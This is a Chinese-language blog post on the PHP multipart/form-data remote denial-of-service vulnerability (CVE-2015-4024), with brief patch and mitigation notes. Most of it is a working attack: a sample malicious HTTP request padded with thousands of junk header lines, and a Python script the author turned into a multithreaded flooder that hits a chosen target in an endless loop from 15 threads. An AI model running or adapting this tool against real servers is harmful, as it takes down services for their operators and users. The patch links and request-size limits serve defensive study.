文章目錄

#相关资料

PHP multipart/form-data 远程DOS漏洞
绿盟 PHP 远程 DoS 漏洞深入分析及防护方案
Hash Collision DoS 问题

#漏洞分析

漏洞分析可以参考以上资料。样例包如下:

POST / HTTP/1.1
Content-Length: 265
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1

------WebKitFormBoundaryX3B7rDMPcQlzmJE1
Content-Disposition: form-data; name="file"; filename=sp.jpga
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
Content-Type: application/octet-stream

datadata
------WebKitFormBoundaryX3B7rDMPcQlzmJE1-- 

测试一台4核8G的服务器,大概15个进程几分钟就负载超过10,拒绝服务了。

#补丁方案

5.4 5.5官方都已经出了补丁。毕竟坑的是一些5.3的应用,没有办法升级到5.4.尝试覆盖补丁文件重新编译失败。通过限制http 请求body的大小也可以缓解攻击。在nginx或者apache层上就拒绝掉过大的请求。但是如果业务上有上传图片等功能就没有办法了。最后想办法修改了5.3的源码自己编译可能是最好的解决方案了。

网上放出来的几个低版本补丁。

https://coding.net/u/simapple/p/oldphppatch/git/tree/master/CVE-ID2015-4024
https://github.com/80vul/phpcodz/blob/master/research/cve-2015-4024.patch.diff

#测试poc

根据poc修改了一个多线程的拒绝服务poc,方便测试攻击效果。

'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: liusscs@163.com
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
import threading


num_threads = 15

def http_proxy(proxy_url):

    proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
#end http_proxy 

def check_php_multipartform_dos(url,post_body,headers):
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    result = ''
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end

class attack(threading.Thread):
    """docstring for attack"""
    def __init__(self, target, body, headers):
        threading.Thread.__init__(self)
        self.target = target
        self.body = body
        self.headers = headers
    def run(self):
        while 1:
            try:
                check_php_multipartform_dos(self.target,self.body,self.headers)

            except Exception, e:
                print e




def main():
    #http_proxy("http://127.0.0.1:8089")
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store", 
                  dest="target", 
                  default=False, 
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    if(options.target):
        target = options.target
    else:
        return;

    Num=35000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    threads = []
    for i in range(num_threads):
        t_attack = attack(target,body,headers)
        threads.append(t_attack)
    for i in range(num_threads):
        threads[i].start()
    for i in range(num_threads):
        threads[i].join()

    # a = 1000000
    # while a:
    #     try:
    #         a = a-1
    #         respond=check_php_multipartform_dos(target,body,headers)
    #     except Exception, e:
    #         pass
    # print "Result : "
    # print respond[0]
    # print "Respond time : "+str(respond[1]) + " seconds";

if __name__=="__main__":
    main()

代码下载地址

个人微信公众号

文章目錄